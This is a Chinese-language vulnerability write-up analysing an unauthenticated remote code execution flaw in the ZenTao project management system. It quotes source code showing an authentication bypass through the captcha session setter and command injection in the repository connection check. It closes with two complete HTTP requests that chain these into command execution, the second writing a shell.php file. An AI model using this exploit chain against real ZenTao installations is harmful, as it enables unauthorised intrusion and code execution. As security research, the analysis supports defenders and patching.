禅道项目管理系统未授权RCE分析记录

发表于:2023-2-28 09:11

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:magic_zero    来源:博客园

  漏洞原理简介
  禅道项目管理系统的鉴权模块存在逻辑设计缺陷,可以允许攻击者利用无须授权的模块去内存中“伪造”一个合法用户,然后利用该用户访问需要授权的模块。从而调用危险的路由,导致命令执行。
  环境搭建
  点击下载,然后直接根据版本搜索需要的即可。官方提供了一键安装包,为了节省时间,我直接使用了Windows下的一键安装。
  原理分析
  从 www/index.php 中可以分析得知,禅道在对请求参数进行初始化结束后,对即将访问的路由模块进行了检查,接着调用Common模块的checkPriv方法对请求权限进行判断。然后调用对应模块的方法执行,输出结果。代码片段如下:
  $app->parseRequest(); // 请求参数初始化
  if(!$app->setParams()) return; // 对控制器模块进行安全检查,判断方法,类文件是否存在等
  $common->checkPriv(); // 权限检查
  $common->checkIframe();
  $app->loadModule(); // 路由调用
  权限检测模块的分析
  参数处理,和其他相关检查不是本次分析的重点。因此暂时略过。checkPriv核心的逻辑如下:
  public function checkPriv()
      {
          try
          {
              $module = $this->app->getModuleName();
              $method = $this->app->getMethodName();
              if($this->app->isFlow)
              {
                  $module = $this->app->rawModule;
                  $method = $this->app->rawMethod;
              }
              $beforeValidMethods = array(
                  'user'    => array('deny', 'logout'),
                  'my'      => array('changepassword'),
                  'message' => array('ajaxgetmessage'),
              );
              if(!empty($this->app->user->modifyPassword) and (!isset($beforeValidMethods[$module]) or !in_array($method, $beforeValidMethods[$module]))) return print(js::locate(helper::createLink('my', 'changepassword')));
              if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
              if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
              if($this->isOpenMethod($module, $method)) return true;
              if(isset($this->app->user))
              {
                  $this->app->user = $this->session->user;
                  if(!commonModel::hasPriv($module, $method))
                  {
                      if($module == 'story' and !empty($this->app->params['storyType']) and strpos(",story,requirement,", ",{$this->app->params['storyType']},") !== false) $module = $this->app->params['storyType'];
                      $this->deny($module, $method);
                  }
              }
              else
              {
                  $uri = $this->app->getURI(true);
                  if($module == 'message' and $method == 'ajaxgetmessage')
                  {
                      $uri = helper::createLink('my');
                  }
                  elseif(helper::isAjaxRequest())
                  {
                      die(json_encode(array('result' => false, 'message' => $this->lang->error->loginTimeout))); // Fix bug #14478.
                  }
                  $referer = helper::safe64Encode($uri);
                  die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
              }
          }
          catch(EndResponseException $endResponseException)
          {
              echo $endResponseException->getContent();
          }
      }
  代码较长,但是简而言之,这里的重点就是try语句块中的if-else判断块。从else中代码逻辑可以得出如果没有权限,返回信息输出后,将使用die函数退出。但是if语句块中没有权限将会走入deny函数中去,经过一些列判断后,最终执行helper::end(),抛出异常。
  framework/helper.class.php:
  public static function end($content = '')
  {
      throw EndResponseException::create($content);
  }
  接着我们将目光回到checkPriv函数。看最终的catch语句捕获的就是EndResponseException异常。也就是说,如果我们有机会控制逻辑判断的代码走到if语句块,那么就算没有权限。整个checkPriv函数也将会自己抛异常,自己处理。完全不影响后续执行控制器中的方法!
  控制SESSION 绕过逻辑判断
  我们回到checkPriv函数中,可以看到如果要满足条件进入if语句块,我们需要保证$this->app->user不为空。因此全局搜索$this->app->user = , 结果如下所示:
  分析得知,控制该值可以通过$this->session->user。但是这个值我们有机会控制么?
  直接搜索$this->session->user = 是没结果的。搜索$this->session->set(可以得到如下的结果:
  排除key无法控制的,得到了misc模块的captcha方法:
  public function captcha($sessionVar = 'captcha', $uuid = '')
      {
          $obLevel = ob_get_level();
          for($i = 0; $i < $obLevel; $i++) ob_end_clean();
          header('Content-Type: image/jpeg');
          $captcha = $this->app->loadClass('captcha');
          $this->session->set($sessionVar, $captcha->getPhrase());
          $captcha->build()->output();
      }
  $sessionVar的值我们可控。该功能为输出验证码的功能。因此默认一定是不需要权限的。
  接着我们会有两个疑惑:
  ·此处设置过的session,下次请求还在么?
  · 该session什么时候赋值给$this->app->user
  首先回答第一个问题,这里的session禅道的实现是在super这个全局超级对象类中实现的,实现的原理利用了PHP的SESSION机制。只要两次请求的PHPSESSID一致,那么获取到的session就是一致的。
  第二个问题,我经过反复调试,发现commonModel在实例化的时候将会调用setUser方法,在这个方法中将session中保存的值放到全局的app对象中,代码片段如下:
      public function setUser()
      {
          if($this->session->user)
          {
              if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();
              $this->app->user = $this->session->user;
          }
  // ...
  攻击点的寻找
  repo模块的edit方法将会调用update方法,接着调用checkConnection方法对仓库是否可连接进行检查,checkConnection中危险操作如下:
  public function checkConnection()
      {
          if(empty($_POST)) return false;
          $scm      = $this->post->SCM;
          $client   = $this->post->client;
          $account  = $this->post->account;
          $password = $this->post->password;
          $encoding = strtoupper($this->post->encoding);
          $path     = $this->post->path;
          if($encoding != 'UTF8' and $encoding != 'UTF-8') $path = helper::convertEncoding($path, 'utf-8', $encoding);
          if($scm == 'Subversion')
          {
              /* Get svn version. */
              $versionCommand = "$client --version --quiet 2>&1";
              exec($versionCommand, $versionOutput, $versionResult);
  $client参数可以直接拼接进入到exec函数执行。在此,对代码分析后,并未发现需要网络上讲的需要先执行create,因为代码逻辑中并未对仓库是否存在做检查。不知道是我的版本问题,还是其他原因。暂且未深究。
  Chain it all together
  1. 获取内存合法的用户
  GET /zentao/misc-captcha-user.html HTTP/1.1
  Host: 192.168.8.143
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9
  Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
  Connection: close
  2. 利用被“激活”过的session访问敏感路由实现RCE
  POST /zentao/repo-edit-10000-10000.html HTTP/1.1
  Host: 192.168.8.143
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.8.143/zentao/
  Accept-Language: zh-CN,zh;q=0.9
  Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
  Connection: close
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 56
  SCM=Subversion&client=echo aaaaaaaaaaaaa > shell.php -- 
  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号